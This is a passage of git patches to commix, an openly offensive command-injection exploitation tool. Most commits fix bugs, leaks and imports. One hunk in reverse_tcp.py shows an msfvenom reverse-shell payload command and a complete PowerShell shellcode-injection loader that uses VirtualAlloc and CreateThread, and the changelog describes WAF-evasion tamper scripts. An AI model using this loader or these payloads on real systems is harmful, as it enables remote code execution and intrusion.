(i.e. Python meterpreter reverse TCP shell). * Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script. -* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution. +* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for command substitution. * Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check. * Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Revised: Improvements regarding dynamic code evaluation heuristic check. @@ -390,7 +390,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`). * Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py". * Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST). -* Added: New option `--backticks` that uses backticks instead of `$()`, for commands substitution. +* Added: New option `--backticks` that uses backticks instead of `$()`, for command substitution. * Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the `/bin` standard subdirectory. * Added: New option `--disable-coloring` that disables console output coloring. * Added: New option `--check-tor` that checks if Tor is used properly. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 027f647353..f5ca8dfe31 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1706,7 +1706,7 @@ def other_symbols(payload): else: menu.options.tamper = "rev" - # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. + # Check for (multiple) backticks (instead of "$()") for command substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 9437d506e6..122774c1ee 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -349,7 +349,7 @@ def do_check(request): if not (menu.options.requestfile or menu.options.logfile): request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) - # Appends a fake HTTP header 'X-Forwarded-For' (and alike) + # Appends a fake HTTP header 'X-Forwarded-For' (and similar) if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index d21987942e..a16bb1d5cd 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -18,7 +18,7 @@ """ -About: Uses backticks (`) instead of "$()" for commands substitution in a given payload. +About: Uses backticks (`) instead of "$()" for command substitution in a given payload. Notes: This tamper script works against Unix-like target(s). """ diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 53404e958f..decf2ac98e 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -19,7 +19,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Base64 all characters in a given payload. +About: base64-encodes all characters in a given payload. Notes: This tamper script works against all targets. """ diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index b62f6b4858..23e0bf9b65 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Hex all characters in a given payload. +About: hex-encodes all characters in a given payload. Notes: This tamper script works against all targets. """ diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 764bb4d851..ce67df4883 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Adds double quotes (") around of a given payload. +About: Adds double quotes (") around a given payload. Notes: This tamper script works against Unix-like target(s). """ diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 5653bcd5e9..353f0e0caa 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Adds (randomly generated) uninitialized bash variables, between the characters of each command in a given payload. +About: Adds (randomly generated) uninitialized bash variables between the characters of each command in a given payload. Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index d8a2cbfcb4..dbb6d3cfb9 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -19,7 +19,7 @@ from src.core.compat import xrange """ -About: Appends a fake HTTP header 'X-Forwarded-For' (and alike). +About: Appends a fake HTTP header 'X-Forwarded-For' (and similar). """ __tamper__ = "xforwardedfor" diff --git a/src/utils/settings.py b/src/utils/settings.py index 6c84c16fe0..c55dc500fc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f3525c07ea236265a78b730183b0453d04a9b46 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 5 Aug 2026 06:21:25 +0300 Subject: [PATCH 0690/1023] Fix HTTP response handle leak --- src/core/injections/controller/controller.py | 16 ++++++++++++++-- src/core/requests/requests.py | 16 ++++++++++++++-- src/utils/settings.py | 2 +- src/utils/update.py | 10 ++++++++-- 4 files changed, 37 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index ae5894e46b..5ab950e7c6 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -750,12 +750,24 @@ def perform_checks(url, http_request_method, filename): if menu.options.auth_url and menu.options.auth_data: authentication.authentication_process(http_request_method) try: + response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + try: + main_content = response.read() + finally: + response.close() + + response = _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT) + try: + auth_content = response.read() + finally: + response.close() + # Verify authentication success by comparing the response content of the main URL and the auth URL. - if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == \ - _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): + if main_content == auth_content: err_msg = "Authentication failed using the specified credentials and URL." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: # Authentication request failed due to a connection or HTTP error. settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5b1d2d7011..9d58d1ab32 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -48,11 +48,23 @@ def is_url_content_stable(url, delay=5): debug_msg = "Testing if the target URL content remains consistent between requests." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - first_response_content = _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read().strip() + response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + try: + first_response_content = response.read().strip() + finally: + response.close() + time.sleep(delay) - second_response_content = _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read().strip() + + response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + try: + second_response_content = response.read().strip() + finally: + response.close() + if first_response_content != second_response_content: status = "dynamic" + except Exception: msg = "Unable to determine target URL content stability due to retrieval errors." settings.print_data_to_stdout(settings.print_warning_msg(msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index c55dc500fc..35762a44ec 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index d838c03928..6b87b4c355 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -112,7 +112,10 @@ def updater(): def check_for_update(): try: response = _urllib.request.urlopen('https://raw.githubusercontent.com/commixproject/commix/master/src/utils/settings.py', timeout=settings.TIMEOUT) - version_check = response.readlines() + try: + version_check = response.readlines() + finally: + response.close() for line in version_check: line = line.rstrip() if "VERSION_NUM = " in line: @@ -189,7 +192,10 @@ def check_unicorn_version(current_version): try: if len(current_version) != 0: response = _urllib.request.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=settings.TIMEOUT) - latest_version = response.readlines() + try: + latest_version = response.readlines() + finally: + response.close() for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: From 2222e982b757d5b8491be7e68ce37670f466cc41 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 6 Aug 2026 08:03:05 +0300 Subject: [PATCH 0691/1023] Fixed undefined reference --- src/core/injections/controller/controller.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 5ab950e7c6..c0999a3ca6 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -742,7 +742,7 @@ def perform_checks(url, http_request_method, filename): # and more than one whitespace character is defined. Keep only one. if (settings.MULTI_TARGETS or settings.STDIN_PARSING) and \ len(settings.WHITESPACES) > 1: - settings.WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] + settings.WHITESPACES = [_urllib.parse.quote(settings.SINGLE_WHITESPACE)] timesec = settings.TIMESEC diff --git a/src/utils/settings.py b/src/utils/settings.py index 35762a44ec..cc799b16fc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 96681e7bbe0dd300efb13077a6694f45a8776c22 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Aug 2026 06:24:27 +0300 Subject: [PATCH 0692/1023] Update settings.py --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index cc799b16fc..508c1ad042 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From aff03767dcb340febf0d618499a5a73a385b4cbc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Aug 2026 06:28:29 +0300 Subject: [PATCH 0693/1023] Removed duplicate `do_check()` invocation --- src/utils/settings.py | 2 +- src/utils/update.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 508c1ad042..cc3d59211a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 6b87b4c355..01533e525b 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -81,8 +81,8 @@ def updater(): try: requirement = "git" # Check if 'git' is installed. - requirements.do_check(requirement) - if requirements.do_check(requirement) == True : + # requirements.do_check(requirement) + if requirements.do_check(requirement) == True: if settings.VERBOSITY_LEVEL != 0: debug_msg = settings.APPLICATION.capitalize() + " will try to update itself using '" + requirement + "' command." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -162,8 +162,8 @@ def unicorn_updater(current_version): try: requirement = "git" # Check if 'git' is installed. - requirements.do_check(requirement) - if requirements.do_check(requirement) == True : + # requirements.do_check(requirement) + if requirements.do_check(requirement) == True: settings.print_data_to_stdout(settings.SUCCESS_STATUS) if len(current_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) From 72add0f9fc82763d5fc20d348f40874945214adf Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Aug 2026 08:34:26 +0300 Subject: [PATCH 0694/1023] Fixed file handle leak when errors occurred during file operations --- src/utils/requirements.py | 5 ++--- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/src/utils/requirements.py b/src/utils/requirements.py index af9d9d436c..18d95a6179 100644 --- a/src/utils/requirements.py +++ b/src/utils/requirements.py @@ -22,9 +22,8 @@ def do_check(requirement): try: # Pipe output to the file path of the null device, for silence. # i.e '/dev/null' for POSIX, 'nul' for Windows - null = open(os.devnull,"w") - subprocess.Popen(requirement, stdout=null, stderr=null) - null.close() + with open(os.devnull,"w") as null: + subprocess.Popen(requirement, stdout=null, stderr=null) return True except OSError: diff --git a/src/utils/settings.py b/src/utils/settings.py index cc3d59211a..fc77e297c1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From eb5b8b499a1c53f750b872d59fdc6e9ef760e1f0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 9 Aug 2026 08:19:30 +0300 Subject: [PATCH 0695/1023] Fixed file handle leak in HTTP traffic logging --- src/utils/logs.py | 5 ++--- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index 62c72fde84..359d50f1c7 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -201,9 +201,8 @@ def logs_notification(filename): Log all HTTP traffic into a textual file. """ def log_traffic(header): - output_file = open(menu.options.traffic_file, "a") - output_file.write(header) - output_file.close() + with open(menu.options.traffic_file, "a") as output_file: + output_file.write(header) """ Print logs notification. diff --git a/src/utils/settings.py b/src/utils/settings.py index fc77e297c1..7367f1fcdb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2487156757f3425393cae4f8c0a57e22c797b0f0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Aug 2026 08:01:06 +0300 Subject: [PATCH 0696/1023] Fixed file handle leak when loading tamper scripts --- src/core/injections/controller/checks.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f5ca8dfe31..17d7f7779d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1517,7 +1517,8 @@ def list_tamper_scripts(): ) for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): - content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) + with open(script, "rb") as script_file: + content = script_file.read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() diff --git a/src/utils/settings.py b/src/utils/settings.py index 7367f1fcdb..359ba357d5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ee64bfc79db5db792d92de75cd5600b6bfa2896d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 11 Aug 2026 06:26:18 +0300 Subject: [PATCH 0697/1023] Fixed missing argument passed to redirect check --- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 9d58d1ab32..e3a4a0ed42 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -94,7 +94,7 @@ def crawler_request(url, http_request_method): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: if response.geturl() != url: - href = redirection.do_check(request, url, response.geturl()) + href = redirection.do_check(request, url, response.geturl(), http_request_method) if href != url: crawler.store_hrefs(href, identified_hrefs=True, redirection=True) return response diff --git a/src/utils/settings.py b/src/utils/settings.py index 359ba357d5..825aeeab4b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fc4f50c74637f5f23d14d4cf6580ef9d8af9297d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 12 Aug 2026 06:25:02 +0300 Subject: [PATCH 0698/1023] Added missing checks module import --- src/core/injections/blind/techniques/time_based/tb_payloads.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 10e2ea3df4..d185045909 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -13,8 +13,9 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib """ The "time-based" injection technique on Blind OS Command Injection. diff --git a/src/utils/settings.py b/src/utils/settings.py index 825aeeab4b..bcaf28bcfe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 569639745e73f54afc7f35d4ec53d187d4036bd6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 13 Aug 2026 07:01:39 +0300 Subject: [PATCH 0699/1023] Added missing imports required at runtime --- src/core/injections/controller/handler.py | 2 ++ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 9bfa37345f..6f13b31812 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -33,9 +33,11 @@ from src.thirdparty.six.moves import urllib as _urllib from src.core.injections.controller import shell_options from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.six.moves import html_parser as _html_parser from src.core.injections.controller import file_access from src.core.injections.controller import enumeration from src.core.injections.controller import controller +from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler """ Exit handler diff --git a/src/utils/settings.py b/src/utils/settings.py index bcaf28bcfe..df9901d40e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From caf502e0272a9e4dd5449edf090bdad747afcdad Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 13 Aug 2026 16:28:15 +0300 Subject: [PATCH 0700/1023] Added missing `urllib` import --- src/utils/settings.py | 2 +- src/utils/update.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index df9901d40e..20745cfcfc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 01533e525b..48385fdea1 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -23,6 +23,7 @@ from src.utils import requirements from src.utils import common from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init """ From c93740c96852a634dff3b205ab385690c676c477 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 13 Aug 2026 16:29:18 +0300 Subject: [PATCH 0701/1023] Added missing `binascii` import --- src/core/injections/controller/parser.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index e79aeab775..ce3c218d81 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -18,6 +18,7 @@ import sys import time import base64 +import binascii import datetime from src.utils import menu from src.utils import settings diff --git a/src/utils/settings.py b/src/utils/settings.py index 20745cfcfc..0a1846618b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4c1f0135b16c36872c7dfd5883db3d26a1c56e87 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:17:21 +0300 Subject: [PATCH 0702/1023] Fixed incorrect logic evaluation --- src/utils/session_handler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index c97ea73ea3..cb9593fcd7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -416,7 +416,7 @@ def export_injection_points(url, technique, injection_type, http_request_method) Command and output are base64-encoded for storage. """ def store_cmd(url, cmd, shell, vuln_parameter): - if any(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): + if all(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): try: conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_ir" diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a1846618b..cd198ca985 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "45" +REVISION = "46" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2ed3274275ad03d90c545f3800097d348dd78480 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:18:25 +0300 Subject: [PATCH 0703/1023] Fixed argument mismatch in enumeration function calls --- src/core/modules/shellshock/shellshock.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 5ece1e0f5c..2f32851470 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -137,7 +137,7 @@ def enumeration(url, cve, check_header, filename): cmd = checks.remove_command_substitution(cmd) sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_users: - checks.print_users(sys_users, filename, _, alter_shell=False) + checks.print_users(sys_users, filename, _, None, None, cmd, None, None, None, None, url, None, alter_shell=False) settings.ENUMERATION_DONE = True if menu.options.passwords: @@ -146,7 +146,7 @@ def enumeration(url, cve, check_header, filename): cmd = checks.remove_command_substitution(cmd) sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : - checks.print_passes(sys_users, filename, _, alter_shell=False) + checks.print_passes(sys_passes, filename, _, alter_shell=False) settings.ENUMERATION_DONE = True """ diff --git a/src/utils/settings.py b/src/utils/settings.py index cd198ca985..c7b4467028 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "46" +REVISION = "47" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 522eee4ae6d07c19cdc944b512cd1645354aea2c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:20:22 +0300 Subject: [PATCH 0704/1023] Fixed undefined `reduce()` by importing `functools.reduce` --- src/core/shells/reverse_tcp.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index eca435bed9..54184c1b6f 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -20,6 +20,7 @@ import base64 import random import string +import functools import subprocess from src.utils import common from src.utils import menu @@ -519,7 +520,7 @@ def other_reverse_shells(separator): proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + settings.NO_OUTPUT, shell=True).wait() with open(output, 'r') as content_file: repls = {';': '', ' ': '', '+': '', '"': '', settings.END_LINE.LF: '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''} - shellcode = reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] + shellcode = functools.reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) diff --git a/src/utils/settings.py b/src/utils/settings.py index c7b4467028..1545c97c57 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 57e3c49b1b9ab6523b859ae1b970cc8dda0a46dd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:21:22 +0300 Subject: [PATCH 0705/1023] Added validation to prevent incompatible `-m` and `-u` options --- src/core/main.py | 17 +++++++++++------ src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 586afe13a1..8d14401ca4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -730,9 +730,9 @@ def main(filename, url, http_request_method): # Check if defined "--auth-cred" and/or '--auth-type'. if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): - err_msg = "You must specify both '--auth-cred' and '--auth-type' options." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg = "You must specify both '--auth-cred' and '--auth-type' options." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): @@ -742,9 +742,14 @@ def main(filename, url, http_request_method): raise SystemExit() if menu.options.requestfile and menu.options.url: - err_msg = "The '-r' option is incompatible with option '-u' ('--url')." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg = "The '-r' option is incompatible with option '-u' ('--url')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if 